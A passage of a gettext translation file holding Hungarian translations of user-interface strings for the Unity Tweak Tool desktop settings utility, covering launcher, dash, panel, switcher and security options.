reduce text display, without changing \"\n\"font size.\"\nmsgstr \"\"\n\n#: ../data/appearance.ui:721\nmsgid \"Text scaling factor:\"\nmsgstr \"Szöveg skálázása:\"\n\n#: ../data/appearance.ui:769 ../data/appearance.ui:770\nmsgid \"Restore system's default font configurations\"\nmsgstr \"\"\n\n#: ../data/appearance.ui:792 ../data/overview.ui:1003\n#: ../data/unitytweak.ui:242\nmsgid \"Fonts\"\nmsgstr \"Betűkészletek\"\n\n#: ../data/errordialog.ui:8\nmsgid \"Schemas missing\"\nmsgstr \"Hiányzó sémák\"\n\n#: ../data/errordialog.ui:15\nmsgid \"The following schema is missing\"\nmsgstr \"A következő séma hiányzik\"\n\n#: ../data/filechooser-theme.ui:17\nmsgid \"Choose a Theme file to install\"\nmsgstr \"Válasszon ki egy telepítendő témát\"\n\n#: ../data/filechooser-theme.ui:51\nmsgid \"Install Theme\"\nmsgstr \"Téma telepítése\"\n\n#: ../data/overview.ui:40 ../data/unitytweak.ui:64\nmsgid \"Unity\"\nmsgstr \"Unity\"\n\n#: ../data/overview.ui:99 ../data/unitytweak.ui:77 ../data/unity.ui:838\nmsgid \"Launcher\"\nmsgstr \"Indító\"\n\n#: ../data/overview.ui:152 ../data/unitytweak.ui:86 ../data/unity.ui:1163\nmsgid \"Search\"\nmsgstr \"Keresés\"\n\n#: ../data/overview.ui:203 ../data/unitytweak.ui:95 ../data/unity.ui:1833\nmsgid \"Panel\"\nmsgstr \"Panel\"\n\n#: ../data/overview.ui:254 ../data/unitytweak.ui:104 ../data/unity.ui:2131\nmsgid \"Switcher\"\nmsgstr \"Ablakváltó\"\n\n#: ../data/overview.ui:305 ../data/unitytweak.ui:113 ../data/unity.ui:2296\nmsgid \"Web Apps\"\nmsgstr \"Webalkalmazások\"\n\n#: ../data/overview.ui:356 ../data/overview.ui:732 ../data/unitytweak.ui:122\n#: ../data/unitytweak.ui:191 ../data/unity.ui:2533\n#: ../data/windowmanager.ui:2233\nmsgid \"Additional\"\nmsgstr \"Egyéb\"\n\n#: ../data/overview.ui:417 ../data/unitytweak.ui:133\nmsgid \"Window Manager\"\nmsgstr \"Ablakkezelő\"\n\n#: ../data/overview.ui:525\nmsgid \"\"\n\"Workspace\\n\"\n\"Settings\"\nmsgstr \"\"\n\"Munkaterület\\n\"\n\"beállítások\"\n\n#: ../data/overview.ui:577\nmsgid \"\"\n\"Window\\n\"\n\"Spread\"\nmsgstr \"\"\n\"Ablak\\n\"\n\"kiterítés\"\n\n#: ../data/overview.ui:629\nmsgid \"\"\n\"Window\\n\"\n\"Snapping\"\nmsgstr \"\"\n\"Ablak\\n\"\n\"elkapás\"\n\n#: ../data/overview.ui:681 ../data/unitytweak.ui:182\n#: ../data/windowmanager.ui:1818\nmsgid \"Hotcorners\"\nmsgstr \"Forrósarkok\"\n\n#: ../data/overview.ui:952\nmsgid \"Cursors\"\nmsgstr \"Kurzorok\"\n\n#: ../data/overview.ui:1067 ../data/unitytweak.ui:253\nmsgid \"System\"\nmsgstr \"Rendszer\"\n\n#: ../data/overview.ui:1124\nmsgid \"\"\n\"Desktop\\n\"\n\"Icons\"\nmsgstr \"\"\n\"Asztal\\n\"\n\"ikonok\"\n\n#: ../data/overview.ui:1176 ../data/system.ui:434 ../data/unitytweak.ui:275\nmsgid \"Security\"\nmsgstr \"Biztonság\"\n\n#: ../data/overview.ui:1227 ../data/system.ui:682 ../data/unitytweak.ui:284\nmsgid \"Scrolling\"\nmsgstr \"Görgetés\"\n\n#: ../data/system.ui:31\nmsgid \"Items to display:\"\nmsgstr \"Megjelenítendő elemek:\"\n\n#: ../data/system.ui:52 ../data/system.ui:53 ../data/system.ui:80\nmsgid \"Home Folder\"\nmsgstr \"Saját mappa\"\n\n#: ../data/system.ui:103 ../data/system.ui:104 ../data/system.ui:131\nmsgid \"Network\"\nmsgstr \"Hálózat\"\n\n#: ../data/system.ui:154 ../data/system.ui:155\nmsgid \"Rubbish Bin\"\nmsgstr \"Kuka\"\n\n#: ../data/system.ui:182\nmsgid \"Trash\"\nmsgstr \"Kuka\"\n\n#: ../data/system.ui:205 ../data/system.ui:206\nmsgid \"Mounted Devices\"\nmsgstr \"Csatolt eszközök\"\n\n#: ../data/system.ui:233\nmsgid \"Devices\"\nmsgstr \"Eszközök\"\n\n#: ../data/system.ui:264 ../data/system.ui:265\nmsgid \"Restore the default configurations for Desktop icons\"\nmsgstr \"\"\n\n#: ../data/system.ui:284 ../data/unitytweak.ui:266\nmsgid \"Desktop Icons\"\nmsgstr \"Asztali ikonok\"\n\n#: ../data/system.ui:303\nmsgid \"Enhance system security by disabling:\"\nmsgstr \"Rendszerbiztonság növelése a következők letiltásával:\"\n\n#: ../data/system.ui:319\nmsgid \"Desktop lock\"\nmsgstr \"Asztal zárolás\"\n\n#: ../data/system.ui:324 ../data/system.ui:325\nmsgid \"Disable the desktop lock screen.\"\nmsgstr \"Az asztal zárolási képernyő tiltása.\"\n\n#: ../data/system.ui:339\nmsgid \"User log out\"\nmsgstr \"Felhasználó kijelentkezés\"\n\n#: ../data/system.ui:344 ../data/system.ui:345\nmsgid \"Disable session log out.\"\nmsgstr \"Munkamenet kijelentkezésének tiltása.\"\n\n#: ../data/system.ui:359\nmsgid \"User switching\"\nmsgstr \"Felhasználóváltás\"\n\n#: ../data/system.ui:364 ../data/system.ui:365\nmsgid \"Disable fast user switching.\"\nmsgstr \"Gyors felhasználóváltás tiltása.\"\n\n#: ../data/system.ui:379\nmsgid \"Printing\"\nmsgstr \"Nyomtatás\"\n\n#: ../data/system.ui:384 ../data/system.ui:385\nmsgid \"Prevent user access to the system's printers and print setup.\"\nmsgstr \"Nyomtatás és nyomtató beállítás letiltása a felhasználók felé.\"\n\n#: ../data/system.ui:411 ../data/system.ui:412\nmsgid \"Restore the default configurations for Security settings\"\nmsgstr \"\"\n\n#: ../data/system.ui:454\nmsgid \"Scrollbars\"\nmsgstr \"Görgetősávok\"\n\n#: ../data/system.ui:472\nmsgid \"Legacy\"\nmsgstr \"\"\n\n#: ../data/system.ui:491\nmsgid \"Overlay \"\nmsgstr \"\"\n\n#: ../data/system.ui:518 ../data/system.ui:519\nmsgid \"Select the behaviour of the overlay scrollbars.\"\nmsgstr \"\"\n\n#: ../data/system.ui:524\nmsgid \"Default\"\nmsgstr \"Alapértelmezett\"\n\n#: ../data/system.ui:525\nmsgid \"Overlay with mouse\"\nmsgstr \"\"\n\n#: ../data/system.ui:526\nmsgid \"No overlay\"\nmsgstr \"\"\n\n#: ../data/system.ui:544\nmsgid \"Behaviour:\"\nmsgstr \"Viselkedés:\"\n\n#: ../data/system.ui:574\nmsgid \"Touch scrolling\"\nmsgstr \"Érintéses görgetés\"\n\n#: ../data/system.ui:592\nmsgid \"Edge\"\nmsgstr \"Széleken\"\n\n#: ../data/system.ui:596 ../data/system.ui:597\nmsgid \"If enabled, edge scrolling is active on touchpads.\"\nmsgstr \"\"\n\n#: ../data/system.ui:612\nmsgid \"Two-finger\"\nmsgstr \"Két-ujjas\"\n\n#: ../data/system.ui:616 ../data/system.ui:617\nmsgid \"If enabled, two-finger scrolling is active on multitouch touchpads.\"\nmsgstr \"\"\n\n#: ../data/system.ui:632\nmsgid \"Horizontal scrolling\"\nmsgstr \"Vízszintes görgetés\"\n\n#: ../data/unitytweak.ui:41\nmsgid \"Unity Tweak Tool\"\nmsgstr \"Unity Tweak Tool\"\n\n#: ../data/unitytweak.ui:56\nmsgid \"_File\"\nmsgstr \"_Fájl\"\n\n#: ../data/unitytweak.ui:155\nmsgid \"Workspace settings\"\nmsgstr \"Munkaterület beállítások\"\n\n#: ../data/unitytweak.ui:164\nmsgid \"Windows spread\"\nmsgstr \"\"\n\n#: ../data/unitytweak.ui:173\nmsgid \"Windows snapping\"\nmsgstr \"Ablakillesztés\"\n\n#: ../data/unitytweak.ui:317\nmsgid \"_Help\"\nmsgstr \"_Súgó\"\n\n#: ../data/unitytweak.ui:360\nmsgid \" Overview\"\nmsgstr \" Áttekintés\"\n\n#: ../data/unity.ui:42\nmsgid \"Invoke HUD\"\nmsgstr \"HUD hívása\"\n\n#: ../data/unity.ui:43\nmsgid \"Super+H\"\nmsgstr \"Super+H\"\n\n#: ../data/unity.ui:46\nmsgid \"Show the launcher\"\nmsgstr \"Indító megjelenítése\"\n\n#: ../data/unity.ui:47\nmsgid \"Super+E\"\nmsgstr \"Super+E\"\n\n#: ../data/unity.ui:50\nmsgid \"Execute command\"\nmsgstr \"Parancsvégrehajtás\"\n\n#: ../data/unity.ui:51\nmsgid \"Super+M\"\nmsgstr \"Super+M\"\n\n#: ../data/unity.ui:54\nmsgid \"Put keyboard focus on the launcher\"\nmsgstr \"Billentyűzet fókusz indítón tartása\"\n\n#: ../data/unity.ui:55\nmsgid \"Super+A\"\nmsgstr \"Super+A\"\n\n#: ../data/unity.ui:58\nmsgid \"Open the first panel menu\"\nmsgstr \"Első panel menü megnyitás\"\n\n#: ../data/unity.ui:59\nmsgid \"Super+N\"\nmsgstr \"Super+N\"\n\n#: ../data/unity.ui:72 ../data/unity.ui:90\nmsgid \"Start switcher\"\nmsgstr \"Ablakváltó indítása\"\n\n#: ../data/unity.ui:73\nmsgid \"Super+Tab\"\nmsgstr \"Super+Tab\"\n\n#: ../data/unity.ui:76 ../data/unity.ui:94\nmsgid \"Start switcher in reverse\"\nmsgstr \"Ablakváltó indítása visszafelé\"\n\n#: ../data/unity.ui:77\nmsgid \"Shift+Super+Tab\"\nmsgstr \"Shift+Super+Tab\"\n\n#: ../data/unity.ui:91\nmsgid \"Alt+Tab\"\nmsgstr \"Alt+Tab\"\n\n#: ../data/unity.ui:95\nmsgid \"Shift+Alt+Tab\"\nmsgstr \"Shift+Alt+Tab\"\n\n#: ../data/unity.ui:98\nmsgid \"Start switcher for all workspaces\"\nmsgstr \"Ablakváltó indítása az összes munkaterülethez\"\n\n#: ../data/unity.ui:99\nmsgid \"Ctrl+Super+Alt+Tab\"\nmsgstr \"Ctrl+Super+Alt+Tab\"\n\n#: ../data/unity.ui:102\nmsgid \"Start switcher for all workspaces in reverse\"\nmsgstr \"Ablakváltó indítása az összes munkaterülethez visszafelé\"\n\n#: ../data/unity.ui:103\nmsgid \"Shift+Ctrl+Super+Alt+Tab\"\nmsgstr \"Shift+Ctrl+Super+Alt+Tab\"\n\n#: ../data/unity.ui:106\nmsgid \"Flip through windows in the switcher\"\nmsgstr \"\"\n\n#: ../data/unity.ui:107 ../data/unity.ui:111 ../data/windowmanager.ui:90\n#: ../data/windowmanager.ui:115\nmsgid \"Disabled\"\nmsgstr \"Letiltva\"\n\n#: ../data/unity.ui:110\nmsgid \"Flip through windows in the switcher backwards\"\nmsgstr \"\"\n\n#: ../data/unity.ui:135 ../data/windowmanager.ui:1247\n#: ../data/windowmanager.ui:1571\nmsgid \"Behaviour\"\nmsgstr \"Viselkedés\"\n\n#: ../data/unity.ui:159 ../data/unity.ui:160\nmsgid \"Should the launcher be hidden?\"\nmsgstr \"Az indító legyen elrejtve?\"\n\n#: ../data/unity.ui:175\nmsgid \"Auto-hide:\"\nmsgstr \"Automatikus elrejtés:\"\n\n#: ../data/unity.ui:187 ../data/unity.ui:188\nmsgid \"Select the auto-hide animation of the launcher.\"\nmsgstr \"Indító automatikus elrejtés animáció kiválasztás\"\n\n#: ../data/unity.ui:190\nmsgid \"Fade Dash and slide\"\nmsgstr \"\"\n\n#: ../data/unity.ui:191\nmsgid \"Slide only\"\nmsgstr \"Csak csúsztatás\"\n\n#: ../data/unity.ui:192\nmsgid \"Fade only\"\nmsgstr \"Csak áttűnés\"\n\n#: ../data/unity.ui:193\nmsgid \"Fade and slide\"\nmsgstr \"\"\n\n#: ../data/unity.ui:208\nmsgid \"Auto-hide animation:\"\nmsgstr \"Automatikus elrejtés animáció:\"\n\n#: ../data/unity.ui:237\nmsgid \"\"\n\"Select the option to reveal the dash with the mouse, when auto-hide is \"\n\"enabled.\"\nmsgstr \"\"\n\n#: ../data/unity.ui:238\nmsgid \"Reveal location:\"\nmsgstr \"Előtűnés helye:\"\n\n#: ../data/unity.ui:253\nmsgid \"Reveal sensitivity:\"\nmsgstr \"Előtűnés érzékenysége:\"\n\n#: ../data/unity.ui:268 ../data/unity.ui:269\nmsgid \"How much pointer \\\"pressure\\\" is required to reveal the launcher.\"\nmsgstr \"\"\n\n#: ../data/unity.ui:287\nmsgid \"Left side\"\nmsgstr \"Bal oldal\"\n\n#: ../data/unity.ui:293 ../data/unity.ui:294\nmsgid \"\"\n\"When in auto-hide mode the left edge of the current workspace triggers the \"\n\"launcher.\"\nmsgstr \"\"\n\n#: ../data/unity.ui:308\nmsgid \"Top left corner\"\nmsgstr \"Bal felső sarok\"\n\n#: ../data/unity.ui:314 ../data/unity.ui:315\nmsgid \"\"\n\"When in auto-hide mode the top left corner of the current workspace triggers \"\n\"the launcher.\"\nmsgstr \"\"\n\n#: ../data/unity.ui:341\nmsgid \"Minimize single window applications on click\"\nmsgstr \"Egyablakos alkalmazás minimalizálása kattintásra\"\n\n#: ../data/unity.ui:387 ../data/unity.ui:388\nmsgid \"Select the level of the transparency of the launcher\"\nmsgstr \"Az indító átlátszóságának megadása\"\n\n#: ../data/unity.ui:389 ../data/unity.ui:1220\nmsgid \"Transparency level:\"\nmsgstr \"Átláthatóság:\"\n\n#: ../data/unity.ui:403 ../data/unity.ui:404\nmsgid \"How transparent the launcher will be.\"\nmsgstr \"Milyen átlátszó legyen az indító.\"\n\n#: ../data/unity.ui:431\nmsgid \"Based on wallpaper\"\nmsgstr \"Háttérképtől függ\"\n\n#: ../data/unity.ui:436 ../data/unity.ui:437\nmsgid \"If selected, the launcher colour is based on the desktop background\"\nmsgstr \"\"\n\"Kiválasztás után az indító színe a háttérkép színeihez lesz megválasztva\"\n\n#: ../data/unity.ui:453\nmsgid \"Colour:\"\nmsgstr \"Szín:\"\n\n#: ../data/unity.ui:467\nmsgid \"Visibility:\"\nmsgstr \"Láthatóság:\"\n\n#: ../data/unity.ui:481\nmsgid \"Custom:\"\nmsgstr \"Egyéni:\"\n\n#: ../data/unity.ui:486 ../data/unity.ui:487\nmsgid \"If selected, the launcher will be the colour chosen by the user\"\nmsgstr \"Kiválasztás utána az indító színe megadható a felhasználó által\"\n\n#: ../data/unity.ui:521\nmsgid \"All desktops\"\nmsgstr \"Minden asztalon\"\n\n#: ../data/unity.ui:526\nmsgid \"If selected, the launcher is visible on all desktops.\"\nmsgstr \"Kiválasztás után az indító minden asztalon látszódni fog.\"\n\n#: ../data/unity.ui:527\nmsgid \"If selected, the launcher is visible on all desktops\"\nmsgstr \"Kiválasztás után az indító minden asztalon látszódni fog\"\n\n#: ../data/unity.ui:541\nmsgid \"Primary desktop\"\nmsgstr \"Elsődleges asztalon\"\n\n#: ../data/unity.ui:546 ../data/unity.ui:547\nmsgid \"If selected, the launcher is visible on the primary desktop\"\nmsgstr \"Kiválasztás után az indító az elsődleges asztalon fog látszódni\"\n\n#: ../data/unity.ui:559\n#, fuzzy\nmsgid \"Bottom\"\nmsgstr \"Alsó fél\"\n\n#: ../data/unity.ui:563\n#, fuzzy\nmsgid \"\"\n\"When selected, the launcher will be positioned on the bottom of the screen.\"\nmsgstr \"Kiválasztás utána az indító színe megadható a felhasználó által\"\n\n#: ../data/unity.ui:577\nmsgid \"Left\"\nmsgstr \"Bal\"\n\n#: ../data/unity.ui:581\n#, fuzzy\nmsgid \"\"\n\"When selected, the launcher will be positioned on the left of the screen.\"\nmsgstr \"Kiválasztás utána az indító színe megadható a felhasználó által\"\n\n#: ../data/unity.ui:597\nmsgid \"Position:\"\nmsgstr \"\"\n\n#: ../data/unity.ui:645\nmsgid \"Icon size:\"\nmsgstr \"Ikonméret:\"\n\n#: ../data/unity.ui:659 ../data/unity.ui:660\nmsgid \"Select the animation used for launching an application.\"\nmsgstr \"\"\n\n#: ../data/unity.ui:662 ../data/unity.ui:682\nmsgid \"No animation\"\nmsgstr \"Nincs animáció\"\n\n#: ../data/unity.ui:663 ../data/unity.ui:683\nmsgid \"Pulse\"\nmsgstr \"Lüktet\"\n\n#: ../data/unity.ui:664\nmsgid \"Blink\"\nmsgstr \"Villogás\"\n\n#: ../data/unity.ui:679 ../data/unity.ui:680\nmsgid \"Select the animation used for an urgent notification on the launcher\"\nmsgstr \"Válassza ki az indító sürgős értesítéseihez tartozó animációt\"\n\n#: ../data/unity.ui:684\nmsgid \"Wiggle\"\nmsgstr \"Ide-odamozog\"\n\n#: ../data/unity.ui:699\nmsgid \"Launch animation:\"\nmsgstr \"Indítás animáció:\"\n\n#: ../data/unity.ui:712\nmsgid \"Urgent animation:\"\nmsgstr \"Sürgős animáció:\"\n\n#: ../data/unity.ui:724 ../data/unity.ui:725\nmsgid \"Select how the icons are coloured on the launcher\"\nmsgstr \"\"\n\n#: ../data/unity.ui:728\nmsgid \"All applications\"\nmsgstr \"Minden alkalmazásnál\"\n\n#: ../data/unity.ui:729\nmsgid \"Open applications only\"\nmsgstr \"Csak futó alkalmazásoknál\"\n\n#: ../data/unity.ui:730\nmsgid \"No colouring\"\nmsgstr \"Nincs színezés\"\n\n#: ../data/unity.ui:731\nmsgid \"Coloured edges\"\nmsgstr \"Színes körvonalak\"\n\n#: ../data/unity.ui:732\nmsgid \"Alternated for each workspace\"\nmsgstr \"\"\n\n#: ../data/unity.ui:747\nmsgid \"Icon backgrounds:\"\nmsgstr \"Ikonhátterek:\"\n\n#: ../data/unity.ui:774\nmsgid \"\\\"Show Desktop\\\" icon:\"\nmsgstr \"„Asztal megjelenítése” ikon:\"\n\n#: ../data/unity.ui:787 ../data/unity.ui:788\nmsgid \"Select the size of the icons on the launcher\"\nmsgstr \"Az indítóikonok méretének megadása\"\n\n#: ../data/unity.ui:818 ../data/unity.ui:819\nmsgid \"Restore default Unity launcher settings.\"\nmsgstr \"A Unity indító beállításainak visszaállítása.\"\n\n#: ../data/unity.ui:882\nmsgid \"Background blur:\"\nmsgstr \"Elmosott háttér:\"\n\n#: ../data/unity.ui:895 ../data/unity.ui:896\nmsgid \"Enable dash blur?\"\nmsgstr \"Dash elmosás engedélyezése?\"\n\n#: ../data/unity.ui:910 ../data/unity.ui:911\nmsgid \"Select the type of blur in the dash\"\nmsgstr \"A Dash elmosás típusának kiválasztása\"\n\n#: ../data/unity.ui:913\nmsgid \"Blur type:\"\nmsgstr \"Elmosás típusa:\"\n\n#: ../data/unity.ui:928\nmsgid \"Active\"\nmsgstr \"Aktív\"\n\n#: ../data/unity.ui:933 ../data/unity.ui:934\nmsgid \"Use a dynamic blur in the dash.\"\nmsgstr \"Dinamikus elmosás használata a Dash-hoz.\"\n\n#: ../data/unity.ui:947\nmsgid \"Static\"\nmsgstr \"Statikus\"\n\n#: ../data/unity.ui:952 ../data/unity.ui:953\nmsgid \"Use a static blur in the dash, uses less resources.\"\nmsgstr \"Statikus elmosás használata a Dash-hoz (kevesebb erőforrást igényel).\"\n\n#: ../data/unity.ui:979\nmsgid \"Search online sources\"\nmsgstr \"Keresés az online források között\"\n\n#: ../data/unity.ui:983 ../data/unity.ui:984\nmsgid \"If enabled, the dash will get suggestions from online sources.\"\nmsgstr \"\"\n\n#: ../data/unity.ui:1002\nmsgid \"Applications\"\nmsgstr \"Alkalmazások\"\n\n#: ../data/unity.ui:1022\nmsgid \"Show \\\"Recently Used\\\" applications\"\nmsgstr \"„Nem rég használt” alkalmazások megjelenítése\"\n\n#: ../data/unity.ui:1026 ../data/unity.ui:1027\nmsgid \"If enabled, show recently used applications in the Dash.\"\nmsgstr \"\"\n\n#: ../data/unity.ui:1039\nmsgid \"Show \\\"More Suggestions\\\"\"\nmsgstr \"„További javaslatok” megjelenítése\"\n\n#: ../data/unity.ui:1043 ../data/unity.ui:1044\nmsgid \"If enabled, show applications available for download in the Dash.\"\nmsgstr \"\"\n\n#: ../data/unity.ui:1067\nmsgid \"Files\"\nmsgstr \"Fájlok\"\n\n#: ../data/unity.ui:1080\nmsgid \"Enable search of your files\"\nmsgstr \"Fájlok közötti keresés engedélyezése\"\n\n#: ../data/unity.ui:1085\nmsgid \"If enabled, allow searches to find your files that aren&apos;t logged.\"\nmsgstr \"\"\n\n#: ../data/unity.ui:1086\nmsgid \"If enabled, allow searches to find your files that aren't logged.\"\nmsgstr \"\"\n\n#: ../data/unity.ui:1104\nmsgid \"Run Command\"\nmsgstr \"Parancsvégrehajtás\"\n\n#: ../data/unity.ui:1117\nmsgid \"Clear History\"\nmsgstr \"Előzmények törlése\"\n\n#: ../data/unity.ui:1121 ../data/unity.ui:1122\nmsgid \"Clear ALT+F2 command history.\"\nmsgstr \"\"\n\n#: ../data/unity.ui:1140 ../data/unity.ui:1141\nmsgid \"Restore the default Dash settings.\"\nmsgstr \"Alapértelmezett Dash beállítások visszaállítása.\"\n\n#: ../data/unity.ui:1205\nmsgid \"Menu visible for:\"\nmsgstr \"Menü látható:\"\n\n#: ../data/unity.ui:1247 ../data/unity.ui:1248\nmsgid \"\"\n\"Select how long the application menu is visible when an application is first \"\n\"opened\"\nmsgstr \"\"\n\n#: ../data/unity.ui:1269\nmsgid \"seconds\"\nmsgstr \"másodpercig\"\n\n#: ../data/unity.ui:1292 ../data/unity.ui:1293\nmsgid \"Set the level of transparency for the panel.\"\nmsgstr \"A panel átlátszóságának megadása.\"\n\n#: ../data/unity.ui:1308\nmsgid \"Opaque panel for maximized windows\"\nmsgstr \"Nem átlátszó panel maximalizált ablakok esetén\"\n\n#: ../data/unity.ui:1313 ../data/unity.ui:1314\nmsgid \"If selected, the panel will be opaque for maximized windows\"\nmsgstr \"Kiválasztás után a panel nem lesz átlátszó maximalizált ablakok esetén\"\n\n#: ../data/unity.ui:1348\nmsgid \"Indicators\"\nmsgstr \"Indikátorok\"\n\n#: ../data/unity.ui:1381\nmsgid \"Date & time\"\nmsgstr \"Dátum és idő\"\n\n#: ../data/unity.ui:1386\nmsgid \"If enabled, the date &amp; time indicator will be visible.\"\nmsgstr \"\"\n\n#: ../data/unity.ui:1387\nmsgid \"If enabled, the date & time indicator will be visible.\"\nmsgstr \"\"\n\n#: ../data/unity.ui:1409\nmsgid \"12-hour time\"\nmsgstr \"12 órás formátum\"\n\n#: ../data/unity.ui:1414 ../data/unity.ui:1415\nmsgid \"Have the clock use 12-hour time.\"\nmsgstr \"12 órás formátum használata az időhöz.\"\n\n#: ../data/unity.ui:1429\nmsgid \"24-hour time\"\nmsgstr \"24 órás formátum\"\n\n#: ../data/unity.ui:1434 ../data/unity.ui:1435\nmsgid \"Have the clock use 24-hour time.\"\nmsgstr \"24 órás formátum használata az időhöz.\"\n\n#: ../data/unity.ui:1447\nmsgid \"Seconds\"\nmsgstr \"Másodpercek\"\n\n#: ../data/unity.ui:1452 ../data/unity.ui:1453\nmsgid \"If enabled, the clock will display seconds.\"\nmsgstr \"Kiválasztás után az óra a másodperceket is kijelzi.\"\n\n#: ../data/unity.ui:1466\nmsgid \"Date\"\nmsgstr \"Dátum\"\n\n#: ../data/unity.ui:1471 ../data/unity.ui:1472\nmsgid \"If enabled, the month and day will be visible in the panel.\"\nmsgstr \"\"\n\n#: ../data/unity.ui:1485\nmsgid \"Weekday\"\nmsgstr \"Hét napja\"\n\n#: ../data/unity.ui:1490 ../data/unity.ui:1491\nmsgid \"If enabled, the day of the week will be visible in the panel.\"\nmsgstr \"Kiválasztás után az óra a hét napját is megjeleníti a panelen.\"\n\n#: ../data/unity.ui:1509\nmsgid \"Include:\"\nmsgstr \"Tartalmaz:\"\n\n#: ../data/unity.ui:1518\nmsgid \"Calendar\"\nmsgstr \"Naptár\"\n\n#: ../data/unity.ui:1523 ../data/unity.ui:1524\nmsgid \"If enabled, the calendar will be visible in the indicator menu.\"\nmsgstr \"\"\n\n#: ../data/unity.ui:1551\nmsgid \"Bluetooth\"\nmsgstr \"Bluetooth\"\n\n#: ../data/unity.ui:1556 ../data/unity.ui:1557\nmsgid \"If enabled, the bluetooth indicator is visible in the panel.\"\nmsgstr \"Kiválasztás után az bluetooth indikátor is megjelenik a panelen.\"\n\n#: ../data/unity.ui:1591\nmsgid \"Power\"\nmsgstr \"Energia gazdálkodás\"\n\n#: ../data/unity.ui:1595 ../data/unity.ui:1596\nmsgid \"If enabled, show the power menu in the panel.\"\nmsgstr \"Kiválasztás után az energia gazdálkodás menü is megjelenik a panelen.\"\n\n#: ../data/unity.ui:1618\nmsgid \"Visible when charging or discharging\"\nmsgstr \"Töltés vagy merülés közben látszik\"\n\n#: ../data/unity.ui:1622 ../data/unity.ui:1623\nmsgid \"\"\n\"Set the power indicator to be visible when charging or discharging power.\"\nmsgstr \"\"\n\n#: ../data/unity.ui:1635\nmsgid \"Always visible\"\nmsgstr \"Mindig látható\"\n\n#: ../data/unity.ui:1639 ../data/unity.ui:1640\nmsgid \"Set the power indicator to be always visible.\"\nmsgstr \"\"\n\n#: ../data/unity.ui:1653\nmsgid \"Display remaining battery life\"\nmsgstr \"Hátralévő akkuidő megjelenítése\"\n\n#: ../data/unity.ui:1658 ../data/unity.ui:1659\nmsgid \"If enabled, show the remaining battery life in the power indicator.\"\nmsgstr \"\"\n\n#: ../data/unity.ui:1689\nmsgid \"Volume\"\nmsgstr \"Hangerő\"\n\n#: ../data/unity.ui:1693 ../data/unity.ui:1694\nmsgid \"If enabled, show the sound menu in the panel.\"\nmsgstr \"\"\n\n#: ../data/unity.ui:1717\nmsgid \"Default player:\"\nmsgstr \"Alapértelmezett lejátszó:\"\n\n#: ../data/unity.ui:1728 ../data/unity.ui:1729\nmsgid \"\"\n\"Select which of the installed audio players is default in the sound menu.\"\nmsgstr \"\"\n\n#: ../data/unity.ui:1745\nmsgid \"Notifications when scrolling\"\nmsgstr \"Értesítés görgetés közben\"\n\n#: ../data/unity.ui:1749 ../data/unity.ui:1750\nmsgid \"\"\n\"When using scrolling to change the volume, show on-screen notifications.\"\nmsgstr \"\"\n\n#: ../data/unity.ui:1770\nmsgid \"Show my name\"\nmsgstr \"Név megjelenítése\"\n\n#: ../data/unity.ui:1775\nmsgid \"If enabled, show the user&apos;s real name in the panel.\"\nmsgstr \"\"\n\n#: ../data/unity.ui:1776\nmsgid \"If enabled, show the user's real name in the panel.\"\nmsgstr \"\"\n\n#: ../data/unity.ui:1810 ../data/unity.ui:1811\nmsgid \"Restore the default Unity panel settings.\"\nmsgstr \"\"\n\n#: ../data/unity.ui:1873\nmsgid \"Switch between windows on all workspaces\"\nmsgstr \"\"\n\n#: ../data/unity.ui:1878 ../data/unity.ui:1879\nmsgid \"\"\n\"If enabled, the window switcher cycles through all windows on all workspaces\"\nmsgstr \"\"\n\n#: ../data/unity.ui:1892\nmsgid \"Display \\\"Show Desktop\\\" icon\"\nmsgstr \"Az „Asztal megjelenítése” ikon megjelenítése\"\n\n#: ../data/unity.ui:1897\nmsgid \"\"\n\"If enabled, show the &quot;Show Desktop&quot; option in the window switcher\"\nmsgstr \"\"\n\n#: ../data/unity.ui:1898\nmsgid \"If enabled, show the \\\"Show Desktop\\\" option in the window switcher\"\nmsgstr \"\"\n\n#: ../data/unity.ui:1910\nmsgid \"Automatically expose windows\"\nmsgstr \"\"\n\n#: ../data/unity.ui:1915 ../data/unity.ui:1916\nmsgid \"If enabled, the window switcher will expose minimized windows\"\nmsgstr \"\"\n\n#: ../data/unity.ui:1928\nmsgid \"Switch between minimized windows\"\nmsgstr \"\"\n\n#: ../data/unity.ui:1933 ../data/unity.ui:1934\nmsgid \"If enabled, the window switcher will switch through minimized windows\"\nmsgstr \"\"\n\n#: ../data/unity.ui:1957\nmsgid \"Window switching shortcuts\"\nmsgstr \"\"\n\n#: ../data/unity.ui:1981 ../data/unity.ui:1982\nmsgid \"Window switcher shortcuts\"\nmsgstr \"\"\n\n#: ../data/unity.ui:1992 ../data/unity.ui:2068 ../data/unity.ui:2405\n#: ../data/windowmanager.ui:266 ../data/windowmanager.ui:536\n#: ../data/windowmanager.ui:796 ../data/windowmanager.ui:1054\nmsgid \"Title\"\nmsgstr \"Cím\"\n\n#: ../data/unity.ui:2005 ../data/unity.ui:2081 ../data/unity.ui:2418\n#: ../data/windowmanager.ui:279 ../data/windowmanager.ui:549\n#: ../data/windowmanager.ui:809 ../data/windowmanager.ui:1067\nmsgid \"Accelerator\"\nmsgstr \"Gyorsítás\"\n\n#: ../data/unity.ui:2032\nmsgid \"Launcher switching shortcuts\"\nmsgstr \"\"\n\n#: ../data/unity.ui:2057 ../data/unity.ui:2058\nmsgid \"Launcher switcher shortcuts\"\nmsgstr \"\"\n\n#: ../data/unity.ui:2109\nmsgid \"Restore the default window switcher settings.\"\nmsgstr \"\"\n\n#: ../data/unity.ui:2171 ../data/unity.ui:2172\nmsgid \"Enable prompts for webapp integration when visiting supported websites?\"\nmsgstr \"\"\n\n#: ../data/unity.ui:2187\nmsgid \"Integration prompts:\"\nmsgstr \"\"\n\n#: ../data/unity.ui:2209\nmsgid \"Preauthorized domains\"\nmsgstr \"Előreengedélyezett domainek\"\n\n#: ../data/unity.ui:2228\nmsgid \"Amazon\"\nmsgstr \"Amazon\"\n\n#: ../data/unity.ui:2245\nmsgid \"Ubuntu One\"\nmsgstr \"Ubuntu One\"\n\n#: ../data/unity.ui:2273 ../data/unity.ui:2274\nmsgid \"Restore the default Unity Webapps settings.\"\nmsgstr \"\"\n\n#: ../data/unity.ui:2316\nmsgid \"HUD\"\nmsgstr \"HUD\"\n\n#: ../data/unity.ui:2329\nmsgid \"Remember previous commands\"\nmsgstr \"Előző parancs megjegyzése\"\n\n#: ../data/unity.ui:2333 ../data/unity.ui:2334\nmsgid \"\"\n\"If enabled, the HUD will remember previously executed entries and sort them \"\n\"by frequently used.\"\nmsgstr \"\"\n\n#: ../data/unity.ui:2352\nmsgid \"Keyboard 